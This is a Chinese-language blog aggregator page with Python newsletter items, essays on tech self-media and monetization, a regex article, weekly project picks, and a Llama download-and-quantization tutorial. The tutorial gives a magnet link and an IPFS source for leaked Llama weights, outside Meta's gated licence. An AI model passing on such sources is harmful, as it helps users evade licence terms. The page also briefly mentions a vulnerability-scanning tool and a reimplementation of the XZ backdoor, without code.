Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,每期内容都十分丰富,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 47 期周刊的全文

April 20, 2024 12:00 AM

April 19, 2024

howiehz

请一定要回复博客下的匿名评论!对于博主和评论者有关匿名评论的倡议

背景 很多人在网站评论不注册账号,而是使用匿名评论系统,之后填入自己的昵称,邮箱,网站 URL 来评论。这其实也是一种署名评论。 然而在我思考后,我意识到这个系统很容易被滥用用来损毁评论者的声誉。 (24.4.27 注解:四个问题+背景补充里提到的大众意识缺乏问题会导致 攻击者可以利用损毁评论者的声

by HowieHz at April 19, 2024 10:42 AM

April 17, 2024

pythoncat

xxx,一个神奇的 Python 库

前几天,我在《技术周刊的转变:如何平衡热爱与现实?》一文里写过国内 Python 自媒体圈在近几年的两个现象(仅个人观感,无科学数据支撑):
  • Python 广告投放出现断崖式萎缩
  • Python 大号出现很多改名/转行
本文想继续分享我观察到的另一个挺有意思的现象。如果你能从中受到一些启发,进而为自己找到一些事情做,那我真心会为你高兴。
特别声明,本文只是在分享一个行业观察,在描述一种现象趋势,请不要对号入座,不要断章取义,也不要以偏概全!!!
不知道你最近是否读过类似下面标题的文章:
  • xxx,一个神奇的 Python 库
  • xxx,一个超酷的 Python 库
  • xxx,一个实用的 Python 库
  • xxx,一个无敌的 Python 库
  • xxx,一个强大的 Python 库
其中,“xxx”可能是很知名的库,也可能是比较小众,总之取材范围很广。
标题中的形容词还可能是“超强的”、“超有用的”、“超神奇的”、“化腐朽为神奇的”,等等等,总之用词大多简短而夸张,传达出强烈的情感色彩。
以上这些形容词出现频率很高,看多了可能引起视觉疲劳。有一个作者另辟蹊径,用词就比较有文采了:“妙手回春的”、“让你健步如飞的”、“三界通吃的”、“决胜千里的”、“让你为所欲为的”……
这么起名标题的公众号不少,绝大部分都是陌生面孔,它们有以下的特征:
  • 基本上注册时间都超过 4 年,近一年左右开始发这类文章
  • 文章更新频率高,文章格式有较高相似度(毕竟都是在介绍某个库)
  • 文章阅读量不算低,超过 1 万阅读的有不少
  • 大概率有用 AI 辅助写作或翻译
  • 发文主要目的可能是为获取微信的流量主广告费
  • 出乎意料的是,某些次条擦边内容可能有超高阅读
我并不是这些文章的目标读者,老读者应该能从我过往发布的文章以及每期周刊的选材,看出我的阅读偏好完全不同。我之所以会关注到它们,是因为在朋友圈和群里都看到过转发,以及在搜索材料时也看到了。
这些文章取标题的套路方式当然是值得批判的,相互的借鉴行为也不值得推崇。
不过,或许是因为我的 Python 文章阅读量够多,我似乎获得了某种程度的阅读免疫力,因此能够较为冷静地看到这些标题党文章好像也有一些可借鉴之处。
看待事情时往积极的方面想,自然容易得到一些正面的认知。
我的几点收获/思考:
  • 利用 AI 提升写作效率,利用公众号平台的推荐机制赚取一些零花钱,这已被证明是完全可行的
  • 微信的推荐流量有比较难测的规则,但真被推荐的话,流量给得很大方,这对新起步的作者是一种公平照顾
  • 高阅读量说明感兴趣的读者多,而兴趣是最好的老师,能帮助读者开启或坚持学习,善莫大焉
  • 文章的积极作用是普及了知识,标题夸张但内容无大问题,填补了上一代 Python 技术号沉寂而留出的一些科普者生态位
说完了这些可借鉴之处,我还有一个建议,建议这些文章的作者(以及其他激起了写作念头的朋友):不要都集中去写 xxx Python 库了,应该拓宽题材,比如做几个同类库的测评、围绕某个领域去写成专题系列、找优质文章翻译成中文、写 Python 书籍推荐……
最后,宣告一个好消息:Python猫 公众号终于也有留言功能了!
欢迎大家前来留言,可以说说你是怎么看文中提到的 Python 自媒体现象的?
留言入口:公众号的这篇同名文章

以上是今天的分享,最后推荐一下我的《Python潮流周刊》专栏。这是一个专为国内 Python 开发者量身打造的资讯平台,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。

April 17, 2024 12:00 AM

April 15, 2024

pythoncat

正则表达式中 “$” 并不是表示 “字符串结束”

作者:Seth Larson
译者:豌豆花下猫@Python猫
转载请保留作者及译者信息
这篇文章写一写我最近在用 Python 的正则表达式模块(re)开发 CPython 的 SBOM 工具时发现的一个令人惊讶的行为。
如果用过正则表达式,你可能知道 ^ 表示 “字符串开始”,并相应地将 $ 视为 “字符串结束”。因此认为, cat$ 模式会匹配字符串 "lolcat" ,但不会匹配 "internet cat video"
^ 的行为让我认为 $ 也是类似的,但这并不一定成立,而且这种行为取决于不同编程语言及其写法。
特别是对于 Python 来说,如果禁用了多行模式(这是默认设置),那么,$ 字符不仅可以匹配字符串的末尾,还可以匹配字符串末尾的换行符。
所以,如果你试图匹配一个末尾没有换行符的字符串,在 Python 中使用 $ 是做不到的!我本以为禁用多行模式后,就不会有这种匹配换行符的行为,但事实恰恰相反。
下一个合乎逻辑的问题是,如何在 Python 中匹配一个末尾不含换行符的字符串?
在对 Python其它正则表达式语法进行多番研究后,我还发现了 \z\Z 可以用于匹配 “字符串结束” 字符。
在 Python 中,可以用 re.MULTILINE 来启用多行模式,文档的描述如下:

当指定 re.MULTILINE 时,模式字符 '$' 会匹配字符串末尾以及每一行末尾(包含换行符)。默认情况下,’$’ 只匹配字符串末尾以及字符串末尾的换行符之前(如果有的话)。

让我们看看这些特性在不同平台上是什么表现:
模式匹配 “cat\n”?“cat$” 多行模式“cat$” 无多行模式“cat\z”“cat\Z”
PHP
ECMAScript⚠️⚠️
Python⚠️
Golang⚠️
Java 8
.NET 7.0
Rust⚠️
  • ✅: 模式与字符串 "cat\n" 匹配
  • ❌: 模式与字符串 "cat\n" 不匹配
  • ⚠️: 模式无效或不支持该用法
综合上述表格,如果要匹配换行符,那么在所有语言中使用多行模式的 $ ,都能匹配成功;但如果不想匹配换行符,事情就会变得复杂起来。
如果不想匹配换行符,在除了 Python 和 ECMAScript 外的其它语言中,你可以使用 \z。而在 Python 中,你需要使用 \Z ,在 ECMAScript 中使用非多行模式的 $
今天这些关于正则表达式的知识,你学会了么?
注意:上述数据表的信息收集自 regex101.com,我没有用实际的编程环境进行测试。

以上是今天的分享,最后推荐一下我的《Python潮流周刊》专栏。这是一个专为国内 Python 开发者量身打造的资讯平台,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。

April 15, 2024 12:00 AM

April 14, 2024

pythoncat

技术周刊的转变:如何平衡热爱与现实?

大家好,我是那个自己打脸自己的猫哥,本来说周刊不做订阅制的,现在却推出了订阅专栏。今天想为自己辩护一下,同时聊聊技术周刊今后的发展计划。
首先回顾一下我过去的想法吧,然后再解释为什么会突然出现转变。
出于对 Python 的热爱以及对国外几个 Python 周刊的效仿,我从一年前开始连载《Python潮流周刊》。在这段时间里,我一直有把商业变现放在心上,只不过它的优先级并没有太靠前。
我一边想着先把内容做好先积攒影响力,一边看着几份英文 Python 周刊的变现模式而盲目乐观着。
在发布第 30 期之前,我侥幸接到了一两期商业赞助,那时我得意以为终于要熬出头了,终于可以像那些英文周刊一样,用“免费+品牌赞助”的方式运营了。
于是意气风发地写了一篇《聊聊技术周刊的变现》,那时的我完全没有意识到下面的话是多么的理想主义:

我比较在意的回报有两类,而且希望能同时得到,一类是关注量、阅读量、star 数、点赞量等等数据带来的精神鼓舞,另一类是广告/恰饭带来的实实在在的金钱。

回到周刊变现的话题,因为第一类回报,所以我不打算做私密性周刊,不打算用订阅制,不打算收会员费;因为第二类回报,所以我会坚持探索挣钱之道。

以上说法归结起来其实就是:我不想向读者收费,只想向广告主收费。
如果我的读者群体已经很大了,如果每期阅读量都稳定很高了,比如像《科技爱好者周刊》和《HelloGithub》那样,这条路也许会顺畅很多。
但现实是,Python 编程在国内的受众还是偏少,能关注到 Python猫的也不算多,而最近两三年来,Python 类广告投放也出现了断崖式萎缩。
或许因为我的内容太过垂直于 Python 领域,导致其它技术方向的广告主望而却步了,同时又因为不够垂直于爬虫/数据分析/AI等几个热门的培训班方向,也导致了没有进入其它广告主的法眼。
再考虑周刊内的品牌赞助,我也曾主动联系过自己所知有限的几家金主,结果是没有结果。在文章中植入品牌赞助的方式,国内的接受度还是太低了,除了头部的《科技爱好者周刊》能经常接到广告,其它周刊几乎都在用爱发电。
我突然开始怀念起“开课吧”、“万门大学”和“奈学教育”还没倒下的日子,在行情最好的时候,我们这个毫不起眼的脚部自媒体的广告档期甚至曾被预约到下下个月。
关于 Python 技术号如今的接广告难题,有一个现象特别能说明问题。
大约在 2020-2021 年,出现了很多 Python 公众号,经常有组车互推,相互投稿和转载,我那时写得不错的文章通常能被转载 30 次以上。
源源不断的广告激发起号主们的热情,驱动着 Python 自媒体圈的繁荣。
然而,似乎是伴随着互联网圈的裁员潮,Python 圈也开始了节节退潮,越来越多的公众号从降低更新频率到长时间停更,原创不活跃了,转载也没动力了,甚至,有些号已经改名/转型其它方向了。
最近半年里,就有 3 个体量比 Python猫 大得多的号在转型:
而且就在我写这篇文章的时候,又有一个做得不错的垂直于 Django 开发的号宣布转型到 AI 方向。
这并不是全部,也不会是结束。国内互联网的寒冬还在继续,Python 技术圈的春天也不会那么快到来。
以上是想解释一件事,行业形势严峻,广告模式也变得艰难。我曾经惯性思维下的乐观设想,也许还得等很久,才能迎来下一轮经济爆发期。
近一年里连续创作周刊,投入的大量时间和精力改变了我过去佛系运营的心态,促使我必须考虑金钱回报的问题,不能只做无偿公益了。
另外还有一些家庭原因的考虑。我的小孩一天天长大目前将要一岁半了,妻子在怀孕期到现在都是无业状态,房贷和日常开销虽然没有让我们窘迫,但我必须考虑提升工资以外的收入了,无论是为了改善生活还是未雨绸缪。
更无奈的是,无论我多么不想承认,无论我的长相和心态多么年轻,今年都是我的 35 岁。程序员职业发展的达摩克利斯之剑嗡嗡作响,未来的不确定性让人不得不产生焦虑。
最近在 v2ex 和公众号里看到程序员被裁员的分享越来越多。字节的飞书在上个月也突然开启大规模裁员,我在某位失业博主的文章中读到了“时代的一粒灰,落在个人头上就是一座山,每个人都有被大山压垮的可能”,感同身受!
那位博主一直在大厂工作,也做了财务准备,一经对比,我发现自己啥也不是!在考虑我能做些什么的时候,第一个想到的自然是利用手上已有的资源和自己的优势。
推出付费专栏是我的第一次尝试。我其实没有明确的规划,也缺乏完全转型的决心,如今试运行的模式只能算在初步摸索。
周刊从一开始就是在多个平台同时免费发布,还打上了“开源”的旗号,如果突然完全转为封闭的收费模式,我会觉得太过违背初衷。毕竟脸皮薄,打起脸来是很疼的。
我目前选择了在小报童发布专栏,最直接的好处是它能解决我在《聊聊公众号最让我不爽的两个痛点》里吐槽的无法打开外链的问题,这对周刊类内容来说是极大利好。所以,今后在公众号基本不会再发周刊全文了,只发标题摘要。
我打算在每次发布新一期周刊后,都将它设为免费,然后在发布下一期时再替换掉。每 30 期为一季的合集也是如此,即在发布第二季的合集前,第一季的合集 不会设为收费。
我打算试运行几期,基本目标是达成 100 个全年订阅。如果完成情况太差,会考虑采用其它方式,目前没想好。
(更新:目前采用的方式——付费期数将在其 50 期后免费,例如第 50 期将在第 100 期时免费)
这或许不是一个很好的“商业模式”,但我想尝试一下,万事开头难,给自己一段时间试错。
最后,我的专栏已开启「合伙人计划」,你可生成专属的邀请链接或海报,当有人通过你的邀请链接或海报订阅时,你将获得 50% 比例的返现。
欢迎你订阅,也欢迎你邀请好友订阅!

April 14, 2024 12:00 AM

April 13, 2024

pythoncat

Python 潮流周刊#46:如何用 Python 预测日食的时间和轨迹?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。另有电报频道作为副刊,补充发布更加丰富的资讯,欢迎关注。
特别提醒: 本期周刊赠书 7 本《Python基础教程(第3版·修订版)》,详情见文末。

🦄文章&教程

本周一(04.08)上演了今年唯一一次日全食,作者由此想到如何用编程方法预测日食发生的时间。文章分享了计算的技巧,绘制了本次日全食的轨迹,同时预测了 2020-2030 年间所有的日食。
作者全职加入 Textualize 公司,参与了流行的 Python 库 Rich 和 Textual 的开发,文章主要分享了四个方面的经验:靠网络形象获得工作机会、你的自我不应该妨碍你的工作、如何与用户及贡献者互动、如何在完全陌生的大型代码库上开发。
代码坏味道(Code Smells)本身不是错误,但是会影响代码质量和可维护性。文章介绍了5 类常见的代码坏味道,以及修复这些问题的最佳实践。
文章介绍了几种用 Python 作质因数分解的方法,从暴力解法到经典的埃拉托色尼筛法,重点介绍了后者的算法思路以及代码的优化方法。
Supervisor 是一个 C/S 架构的进程监控与管理工具,文章介绍了其基本用法和部分高级特性,用于解决部署持久化进程的稳定性问题(可克服nohup cmd & 命令的弊端)。
JIT 编译器已经合入 CPython 3.13 主分支,这个最新发起的 PEP 旨在回答关于它的一些常见问题,主要目标是明确这个 JIT 应满足什么条件才能变为非实验性的特性。
Zapier 是流行的在线自动化平台,支持数千款 APP。文章介绍了 Zapier 采用的技术架构,包括用 Django 框架作后端,用 RabbitMQ 和 Celery 来创建分布式工作流引擎,用 Kafka 作分布式事件存储和流处理,等等。
去年的一大技术新闻是扎克伯格的 Meta 推出 Threads 与马斯克的 Twitter 竞争。Theads 的技术栈与 Instagram 几乎相同,大型单体架构,Django 框架改造的后端,数据存储在 TAO,用 ZippyDB 作缓存。
Python 以其可读性和简单性而闻名,它有一些关于命名的规范,有助于保持代码一致性和清晰度。文章通过示例介绍了 Python 正确的命名风格,并给出了反例。(附:Google 内部专注于代码质量的“Code Health”系列,最新一篇分享了几条命名原则,有 Python 之禅的味道)
文章回顾了表格的历史(从古代的方格到高度结构化的数据格式),提出表格在当今面临的问题,介绍了如何通过Great Tables 库创建更美观好用的表格。
若将列表作为字典的键,会报错TypeError ,这是为什么呢?在这个过程中,Python 内部是如何执行的呢?文章解答了这个问题,原因跟__hash__() 魔术方法有关。
作者基于 Raspberry Pi 1b 和 DS18B20 温度探头开发了一个温度监测器,使用 Python 将温度数据传给 Influxdb,实现检测温度的变化。(根据文章开头描述,我推测作者现在应该只有11-12岁)
这篇文章建议在做面试编程时,将答案写成一行代码的形式,文中给出了一些例子如反转二叉树、计算二叉树深度、查找第一个回文等题目,使用各种花销的技巧将代码写成一行。但是,注意文章发布的日期,它只是一个愚人节玩笑,不要当真!
🎁Python潮流周刊🎁每 30 期为一季,第一季的精华内容已整理成一篇,方便你随时查看。在线访问地址:Python 潮流周刊第一季精华合集(1~30)

🐿️项目&资源

它可让 LLM 在本地运行代码(Python、Javascript、Shell 等)。安装后运行 $ interpreter ,即可以通过终端中类似 ChatGPT 的界面与 Open Interpreter 聊天。(star 47.1K)
无缝支持 Polars、pandas、modin 和 cuDF,使用 Polars API 的子集,使用 Polars 的表达式,100% 分支覆盖率。
一个自动扫描安全漏洞的命令行框架。输入顶级域名,它可发现相应的子域名和证书并进行侦察,然后对漏洞、机密、错误配置和网络钓鱼域名进行全面扫描。
用户提出一个问题,它将用多个引擎搜索,并将搜索结果组合给 LLM,根据搜索结果生成答案。不需要 GPU 或 OpenAI 或 Google API 密钥,即完全免费。使用免费的 ChatGPT3.5 / Qwen / Kimi / ZhipuAI(GLM) API,支持 ollama,支持 Docker 部署。(star 6.6K)
PyCharm 是最专业的 Python IDE,其官方博客经常发布技术文章,在 YouTube 上也经常发布视频。这篇文章汇聚了一些跟 Django 相关的文章和视频的学习资源。
前文分享了这个库的设计理念。它依照表格各部分而定义了一系列组件,支持灵活调整表格布局。使用 Pandas 或 Polars 的 DataFrame 数据作输入。
最近有一则爆炸性新闻是“XZ 的后门事件”。这个项目用 Python 实现了部分后门功能,你可以通过 SSH 客户端来探索它们。
它可以将 docx 文件的各项元素提取成 Python 对象,包括文本和图像,实现内容读取、插入、修改等功能。
一款运行在 Windows 上的,能备份导出朋友圈为 html 的工具,可下载图片/视频永久保存,支持根据联系人和朋友圈时间进行过滤导出。
组装和控制一条机械臂,需要多少成本?这个项目给出的方案成本约 250 美元,且支持增加一条机械臂,总计 430 美元。使用 Dynamixel XL430 和 Dynamixel XL330 伺服电机。(star 2K)
Draw.io 是一个免费在线的图表工具,可创建流程图、组织结构图、UML 图、ER 图、网络图等。这个库支持创建、添加对象、设置样式等功能。
浏览器中的数据库实体关系 (DBER) 编辑器,可构建图表、导出 sql 脚本、自定义编辑器等,无需创建帐户。(star 4.3K)

🐢播客&视频

这则视频使用 Django、websockets 和 HTMX 克隆出一个 ChatGPT。每个功能被分解为一次提交,视频解释了代码作用并演示了效果。
这个系列视频有 23 期,主要面向初学者入门数据科学,涵盖 Python 编程基础、数据分析、数据可视化、大数据、机器学习等话题。

🐢赠书福利

不定期的福利活动,本期赠书 7 本《Python基础教程(第3版·修订版)》,开奖时间 4 月 19 日 。请给 Python猫 公众号发送数字“8046”,获取抽奖小程序码。
本书Python新手入门经典图书,涵盖了Python编程的方方面面。本书前半部分介绍了基础知识与概念:从安装Python、配置开发环境,到列表、元组、字符串、字典以及各种语句的基础知识,再到抽象、异常、方法、属性、迭代器等核心概念,Python与数据库、网络、C语言等工具结合使用,以及Python程序测试、打包、发布等知识。本书的后半部分,向读者详尽介绍了当下流行的多个Python项目的开发过程。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

April 13, 2024 12:00 AM

April 10, 2024

howiehz

一图解释单一质点运动波动图像和振动图像的关系

解释 常量:周期 T,波长 λ 左上角振动动图像记录的是 0-Ts 时段内质点的运动情况 左下角波动图像记录的是 Ts 时刻质点在纸上留下的轨迹 橙色的笔代表质点,在 y 轴上做简谐运动,平衡点为 x-t 轴与 y 轴相交的点 右边是一个质点在一张纸上运动留下的图像,这张纸在向左移动(也就是波的移动

by HowieHz at April 10, 2024 01:13 PM

April 07, 2024

ray-eldath

计算机领域的三个重要思想:抽象,分层和高阶

昨晚看了点比较有意思的东西,于是决定写一篇文章简单讲一下。

本文致力于概括我对计算机界三个重要思想的体会和认识。我希望做的并不是简单的百科全书式的列举(“A 体现了抽象思想;B 体现了分层思想…”),而是从这些思想中选取几个我个人较有体会(或者是我单纯觉得十分有趣)的侧面拿来细讲。这些侧面仅仅能覆盖这些思想应用范围中十分微小的一部分,它们并不是最有代表性的、亦非最为重要的——仅仅因为,我个人对这点侧面有些体会,或者我个人认为它比较有趣而已。

同样需要强调,和本博客大多数文章一样,本文个人意见色彩浓厚——本文并不客观,更绝不权威。

为方便行文,文中提到的大量引述来源不会标号、也不会在文中注明。关于攥写时参考的资料,请参见文末 “参考文献”。

April 07, 2024 04:23 PM

aneasystone

开源大模型 Llama 实战

去年 2 月 24 日,Facebook 的母公司 Meta AI 推出 Llama 语言模型,该模型完全使用公开可用的数据集进行训练,拥有 70 亿到 650 亿个参数,包括 7B13B30B65B 四个版本,可以进行本地部署和微调训练,非常适合个人和中小型企业。

值得注意的是,Llama 以非商业授权的形式发布,主要用于学术研究,官方仓库 里只给出了加载模型的示例代码,想要获取核心模型权重,还需要填写一份表单进行申请。尽管如此,Llama 模型的发布也具有划时代的意义,由于 OpenAI 对于 GPT-2 之后的模型就不再开源,这个时候 Meta 推出的 Llama 补上了这个缺口,掀起了开源大模型的发展浪潮。

3 月 13 日,斯坦福大学发布了指令精调模型 Alpaca 7B,它通过 OpenAI 的 text-davinci-003 模型生成了 5.2 万指令数据,然后对 Llama 7B 进行精调而得。

3 月 16 日,Guanaco 问世,它在 Alpaca 基础上补充了多语种语料和指令任务。

3 月 23 日,中文小羊驼 Chinese-Vicuna 面世,它基于 Llama 模型和 LoRA 方案,可按需投喂数据进行个性化指令精调。

3 月 24 日,Databricks 发布 Dolly 模型,它本质是 Alpaca 的开源克隆,基于 GPT-J-6B 精调,旨在证明精调指令数据比底座模型更为重要。

3 月 25 日,来自华中师范大学和商汤的几位伙伴发起中文大语言模型开源项目 骆驼(Luotuo),包含了一系列大语言模型、数据、管线和应用。

3 月 28 日,中文 LLaMA & Alpaca 大模型发布,包括了中文 Llama 模型和指令精调的 Alpaca 模型;中文 Llama 模型在原版 Llama 的基础上扩充了中文词表并使用了中文数据进行二次预训练,进一步提升了中文基础语义理解能力;同时,中文 Alpaca 模型进一步使用了中文指令数据进行精调,显著提升了模型对指令的理解和执行能力。

3 月 30 日,来自加州大学伯克利分校、卡内基梅隆大学、斯坦福大学、加州大学圣地亚哥分校的几位计算机博士成立 LMSYS 组织,并发布了 Vicuna-13B,它基于 ShareGPT 收集的对话对 Llama 进行精调,仅需 300 美元即完成训练,号称达到了 ChatGPT 90% 的能力。

同月,智谱 AI 开源了 ChatGLM-6B 模型,这是一个开源的、支持中英双语的对话语言模型,基于 GLM 架构,具有 62 亿参数,使用了和 ChatGPT 相似的技术,针对中文问答和对话进行了优化。

6 月 7 日,上海 AI 实验室发布了开源多语言大型语言模型 InternLM-7B,中文名书生·浦语,在 1.6 万亿标记的大型语料库上进行预训练,采用多阶段渐进式的过程,然后进行了微调以与人类偏好对齐。

6 月 15 日,百川智能发布了开源可商用的大规模预训练语言模型 Baichuan-7B,基于 Transformer 结构,在大约 1.2 万亿 tokens 上训练的 70 亿参数模型,支持中英双语。

开源大模型如雨后春笋般冒了出来,层出不穷,到了 7 月,Meta AI 联合 Microsoft 又推出了 Llama 2 模型,将预训练语料库的大小增加了 40%,将模型的上下文长度增加了一倍,并采用了分组查询注意力,参数范围从 70 亿到 700 亿,包括 7B13B70B 三个版本。同时还发布了 Llama 2 的微调版本 Llama 2-Chat,专门针对聊天场景进行了优化。

oss-llm.png

模型下载

想要体验 Llama 模型,我们首先得把模型给下载下来,这里总结几种不同的下载方法。

官方版本下载

根据官方仓库的说明,我们需要填写一份表单进行申请:

当申请通过后,你会收到一份带有下载链接的邮件。然后下载 Llama 仓库的源码,执行其中的 download.sh 脚本:

$ git clone https://github.com/meta-llama/llama.git
$ cd llama
$ ./download.sh 
Enter the URL from email:

按提示输入邮件中的下载链接即可。

值得注意的是,这个下载脚本依赖于 wgetmd5sum 命令,确保你的系统上已经安装了下面这两个工具:

$ brew install wget md5sha1sum

泄露版本下载

如果嫌从官方下载太麻烦,网上也有一些泄露的模型版本可以直接下载。

这里 应该是最早泄漏的版本,可以使用 IPFS 客户端 进行下载。

社区里也有人制作了种子,可以使用 BitTorrent 下载,磁链地址为 magnet:?xt=urn:btih:ZXXDAUWYLRUXXBHUYEMS6Q5CE5WA3LVA&dn=LLaMA

使用 pyllama 下载

另一种下载 Llama 模型的方法是使用 pyllama 库。首先,通过 pip 安装它:

$ pip3 install transformers pyllama -U

然后通过下面的命令下载 Llama 7B 模型(根据需要你也可以下载 13B30B65B,如果不指定 --model_size 则下载所有):

$ python3 -m llama.download --model_size 7B

在 Mac M2 下可能会遇到下面这样的报错:

ImportError: dlopen(/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so, 0x0002): 
    tried: '/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so' 
    (mach-o file, but is an incompatible architecture (have 'x86_64', need 'arm64')), 
    '/System/Volumes/Preboot/Cryptexes/OS/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so' 
    (no such file), 
    '/Library/Python/3.9/site-packages/_itree.cpython-39-darwin.so' 
    (mach-o file, but is an incompatible architecture (have 'x86_64', need 'arm64'))

根据 itree 的官方文档,这个库我们需要自己手动构建:

$ brew install cmake
$ pip3 install https://github.com/juncongmoo/itree/archive/refs/tags/v0.0.18.tar.gz

安装完成后,再次下载,这次虽然没有报错,但是模型的下载目录 pyllama_data 却是空的,根据 这里 的解决方案,我们使用源码重新安装 pyllama:

$ pip3 uninstall pyllama
$ git clone https://github.com/juncongmoo/pyllama
$ pip3 install -e pyllama

然后再次下载即可,7B 模型文件大约 13G,下载速度取决于你的网速,成功后输出如下:

$ python3 -m llama.download --model_size 7B
❤️  Resume download is supported. You can ctrl-c and rerun the program to resume the downloading

Downloading tokenizer...
✅ pyllama_data/tokenizer.model
✅ pyllama_data/tokenizer_checklist.chk
tokenizer.model: OK

Downloading 7B

downloading file to pyllama_data/7B/consolidated.00.pth ...please wait for a few minutes ...
✅ pyllama_data/7B/consolidated.00.pth
✅ pyllama_data/7B/params.json
✅ pyllama_data/7B/checklist.chk

Checking checksums for the 7B model
consolidated.00.pth: OK
params.json: OK

一共有 5 个文件:

$ tree pyllama_data
pyllama_data
|-- 7B
|   |-- checklist.chk
|   |-- consolidated.00.pth
|   `-- params.json
|-- tokenizer.model
`-- tokenizer_checklist.chk

2 directories, 5 files

模型推理

从下载文件 consolidated.00.pth 的后缀可以看出这是一个 PyTorch 中用于保存模型权重的文件,该文件包含了模型在训练过程中学到的权重参数,我们可以通过 PyTorch 提供的加载机制重新装载到相同或者相似结构的模型中,从而继续训练或者进行推理。

官方已经提供了这样的示例代码,可以对模型进行测试,我们先下载代码:

$ git clone https://github.com/meta-llama/llama.git
$ cd llama
$ git checkout llama_v1

注意切换到 llama_v1 分支,因为我们下的是 Llama 1 模型。然后安装所需依赖:

$ pip3 install -r requirements.txt

然后安装 Llama:

$ pip3 install -e .

最后运行下面的命令测试模型:

$ torchrun --nproc_per_node 1 example.py --ckpt_dir ../pyllama_data/7B --tokenizer_path ../pyllama_data/tokenizer.model

运行这个命令需要具备 NVIDIA 卡并且需要安装 CUDA,否则很可能会报下面这样的错:

Traceback (most recent call last):
  File "/Users/aneasystone/Codes/github/llama/example.py", line 119, in <module>
    fire.Fire(main)
  File "/Library/Python/3.9/site-packages/fire/core.py", line 141, in Fire
    component_trace = _Fire(component, args, parsed_flag_args, context, name)
  File "/Library/Python/3.9/site-packages/fire/core.py", line 475, in _Fire
    component, remaining_args = _CallAndUpdateTrace(
  File "/Library/Python/3.9/site-packages/fire/core.py", line 691, in _CallAndUpdateTrace
    component = fn(*varargs, **kwargs)
  File "/Users/aneasystone/Codes/github/llama/example.py", line 74, in main
    local_rank, world_size = setup_model_parallel()
  File "/Users/aneasystone/Codes/github/llama/example.py", line 23, in setup_model_parallel
    torch.distributed.init_process_group("nccl")
  File "/Library/Python/3.9/site-packages/torch/distributed/c10d_logger.py", line 86, in wrapper
    func_return = func(*args, **kwargs)
  File "/Library/Python/3.9/site-packages/torch/distributed/distributed_c10d.py", line 1184, in init_process_group
    default_pg, _ = _new_process_group_helper(
  File "/Library/Python/3.9/site-packages/torch/distributed/distributed_c10d.py", line 1302, in _new_process_group_helper
    raise RuntimeError("Distributed package doesn't have NCCL built in")
RuntimeError: Distributed package doesn't have NCCL built in

在深度学习的训练和推理过程中,我们常常会遇到单机多卡或多机多卡的情况,这就会涉及到各个卡或节点之间的通信,这种通信被称为 集合通信(Collective Communication),而 NCCL 就是这样的一个集合通信库,它是英伟达基于自家 NVIDIA GPU 定制开发的一套开源集合通信库,可以通过 PCIe 和 NVLink 等高速互联从而实现高带宽和低延迟。除了 NCCL,还有一些其他的库可以选择,比如 MPI 接口的开源实现 Open MPI 、Facebook 的 Gloo 等。

为了让代码能在我的 Mac 上跑起来,我参考了 这里这里 的方法,将代码中和 CUDA 有关的内容都删掉,虽然可以运行,模型也显示加载成功了,但是却一直没有运行结果。最后,参考网友 b0kch01 的实现,还需要对参数做一些修改,然后将代码改成一次只处理一个提示词,再将机器上所有程序全部关闭,终于把 Llama 模型运行起来了:

$ torchrun --nproc_per_node 1 example.py --ckpt_dir ../pyllama_data/7B --tokenizer_path ../pyllama_data/tokenizer.model
Locating checkpoints
Found MP=1 checkpoints
Creating checkpoint instance...
Grabbing params...
Loading model arguments...
Creating tokenizer...
Creating transformer...

-- Creating embedding
-- Creating transformer blocks (32)
-- Adding output layers 
-- Precomputing frequencies

Loading checkpoint to model...done in 57.88 seconds
Creating LLaMA generator...done in 0.01 seconds
Loaded in 89.92 seconds
Enter prompt: 

等了 90 秒,模型加载成功,接着我们手动输入示例中的第一个提示词:

Enter prompt: I believe the meaning of life is
Starting generation with prompt: I believe the meaning of life is
Forwarding 38 times
responded in 472.85 seconds
I believe the meaning of life is to fulfill your purpose in life, and once you’ve done that, you live to serve others and to love others.
My goal is

==================================

Enter next prompt:

又等了将近 8 分钟,模型才慢吞吞地输出 150 个左右的字符。

模型量化

可以看到,就算是最小的 7B 模型,在一般的个人电脑上跑起来也是相当费劲。一般来说,基础模型都是 16 位浮点精度的,或称为 FP16 模型,也就是说,模型的每个参数都需要一个 16 位浮点数(2 字节)来保存,所以模型权重的体积和推理所需的显存大小约为模型参数量的两倍,比如运行 Llama 7B 大约需要 14GB 的显存。

目前有很多方法在研究如何减少大模型的资源占用,例如 llama.cpp,号称可以在树莓派上进行推理,最低只需要 4G 内存。这种技术也被称为 量化(Quantization),通过降低权重的精度,可以很大程度上降低显存要求,加快推理速度,同时保持大部分模型的性能。以 4 Bit 量化为例,它将原本的 16 位浮点精度压缩为 4 位整数精度,使模型权重的体积减小到原本的 1/4,推理所需显存也大幅减少,意味着约 4GB 左右的显存就可以对 7B 模型进行推理。

常见的量化技术有:NF4、GPTQ 和 GGML 等,对量化原理感兴趣的同学可以参考 Introduction to Weight Quantization 这篇文章。

使用 llama.cpp 量化并运行 Llama 模型

想要在个人电脑上玩转大模型,首推 llama.cpp 项目,它使用 C/C++ 重写了 Llama 的推理代码,不仅避免了 PyTorch 引入的复杂依赖,而且对各类硬件和库提供了广泛的支持,比如支持纯 CPU 推理,支持 Apple Silicon 芯片,支持不同的操作系统,包括 Mac OS、Linux、Windows、Docker、FreeBSD 等,还支持大量的开源大模型,包括 Meta 的 Llama、Google 的 Gemma、Mistral AI 的 Mistral 系列、阿里的 Qwen 系列、零一万物的 Yi 系列等。

首先我们下载 llama.cpp 的源码:

$ git clone https://github.com/ggerganov/llama.cpp
$ cd llama.cpp

